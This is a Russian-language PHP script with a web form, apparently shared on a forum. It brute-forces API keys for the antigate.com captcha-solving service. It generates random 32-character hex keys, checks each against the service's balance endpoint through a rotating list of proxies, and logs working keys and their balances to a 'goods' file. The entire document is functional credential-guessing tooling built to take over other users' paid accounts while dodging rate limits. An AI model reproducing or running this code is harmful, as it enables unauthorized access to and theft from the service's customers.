Код:
<center><form method="POST">
Количество попыток:<input name="count" type="text" value="10"><br>
Файл для гудов:<input name="file" type="text" value="good.txt"><br>
Файл с прокси:<input name="proxy" type="text" value="proxy.txt"><br>
<input type="submit" value="check"><br>
</form></center>
<?php
set_time_limit(0);
function add($path,$page_body)
{
$file=fopen($path,"a+");
fputs($file,$page_body);
fclose($file);
}
function read($path)
{
$file=fopen($path,"r");
$bufer = fread($file,filesize($path));
fclose($file);
return($bufer);
}
function curl($url,$proxy='')
{
global $cfile;
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_TIMEOUT,10);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
function gentext($count)
{
$simbols = array("1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f");//символы из которых будет генерироваться кей
for($i=0;$i<$count;$i++)
{
$text .= $simbols[mt_rand(0,count($simbols)-1)];
}
return($text);
}
$goodfile = $_POST['file'];//файл для гудов
$count = $_POST['count'];//количество попыток для брута
$proxyfile = $_POST['proxy'];
if(!$goodfile||!$count||!$proxyfile)
{
echo 'Введите все даные';
exit;
}
$proxys = explode("\r\n", read($proxyfile));
$p=0;
for($i=0;$i<$count;$i++)
{ if($p>$countproxy)
{
$p=0;
sort($proxys);
}
$proxy = $proxys[$p];
$key = gentext(32);
//$key = '';
$result = curl("http://antigate.com/res.php?key=".$key."&action=getbalance", $proxy);
if(preg_match_all("#^(.*[0-9])\.([0-9].*)$#iU", $result,$regs))
{
$balans = $regs[0][0];
echo $key.' - good '.$proxy.' balans - '.$balans.'<br>';
add($goodfile, $key.":".$balans."\r\n");
}
elseif(preg_match_all("#ERROR_(.*)#iU", $result,$regs))
{
echo $key." - bad ".$proxy."<br>";
}
else
{
echo 'bad proxy '.$proxy.'<br>';
unset($proxys[$p]);
}
$p++;
$countproxy = count($proxys)-1;
if(count($proxys)==0)exit('Прокси живых не осталось');
flush();
}
?>




